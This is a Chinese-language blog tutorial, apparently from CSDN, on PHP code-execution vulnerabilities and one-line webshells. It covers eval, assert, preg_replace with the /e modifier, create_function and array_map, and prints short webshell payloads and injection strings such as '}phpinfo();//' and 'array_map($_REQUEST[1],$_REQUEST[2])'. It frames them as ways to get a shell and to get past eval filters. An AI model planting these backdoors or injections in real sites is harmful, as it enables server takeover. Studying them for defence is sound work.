[Web漏洞原理解析]代码执行漏洞——一句话木马的千变万化

Author:Bell0ne_


一、代码执行漏洞原理

用户输入的数据被当做后端代码执行。
其实一句话木马的本质就是一个代码执行漏洞。
RCE:远程命令或者代码执行

二、造成代码执行的函数解析

在PHP中有哪些函数可以造成代码执行?

1、eval()函数
eval()函数中的内容被当做代码执行
是最常用也是最好用的,可以多行执行

2、assert()函数
只能单行执行,不可以用菜刀进行连接
但是我们可以通过assert写一个木马进去,从而getshell

3、preg_replace() 正则替换函数

preg_replace('/a/e',$_GET[8],'abc');

如果目标站点有一个功能,它可以让你任意控制正则表达式,那么就可以通过这个语句来getshell

/a/e =>a是正则表达式,e是修饰符(要去替换的值可以被当做php代码执行)

4、create_function() 函数
create_function()主要用来创建匿名函数
匿名函数

<?php
$a=create_function($id,echo $id);
echo $a(8);
?>

如果可以控制create_function()的代码段,就可以命令执行

create_function()原理就是

function 匿名 ($id)
{.
}

如果create_function定义但没有被调用,可以使用以下骚操作

function 匿名 ($id)
{
phpinfo();}phpinfo();//
}

如果eval被拦截了,可以尝试上传

<?php
$a=create_function($id,$_REQUEST[8]);
?>

再传参 ?8=}phpinfo();//

5、array_map() 回调函数

$a=[1,2,3,4,5];
array_map('函数',$a)

可以调用自定义函数或自带函数
将数组中的数据依次取出放入函数执行

如果可以控制函数,可以写成

array_map('assert',$_REQUEST[1])
array_map($_REQUEST[1],$_REQUEST[2]);

然后传1=assert&2=phpinfo();
eval是无法调用的,他被认为是特殊用法,不属于函数
PHP还有很多回调函数,都可以去利用。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值